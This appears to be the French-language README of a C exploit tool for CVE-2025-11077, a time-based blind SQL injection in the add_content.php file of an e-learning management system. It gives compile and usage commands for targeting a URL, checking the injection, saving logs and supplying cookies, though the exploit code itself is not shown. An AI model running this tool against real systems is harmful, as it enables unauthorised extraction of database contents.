CVE-2025-11077 - Injection SQL

Auteur : Byte Reaper

Description

Cette vulnérabilité est une injection SQL aveugle dans le fichier add_content.php du système de gestion de l'apprentissage en ligne (CVE-2025-11077), permettant à un attaquant d'extraire des informations de la base de données en envoyant des requêtes POST conçues.

Prérequis :

Linux x86_64
GCC

Compilation :

	gcc exploit.c argparse.c -o CVE-2025-11077 -lcurl

Exécution :

	- HELP :
	./CVE-2025-11077 -h

	- Target URL (base url)
	./CVE-2025-11077 -u http://[IP]

	- log file :
	./CVE-2025-11077 -f [FILE]

	- Check time-based blind :
    ./CVE-2025-11077 -u http://[IP] -b

    - Cookies FILE :
    ./CVE-2025-11077 -u http://[IP] -c [FILE]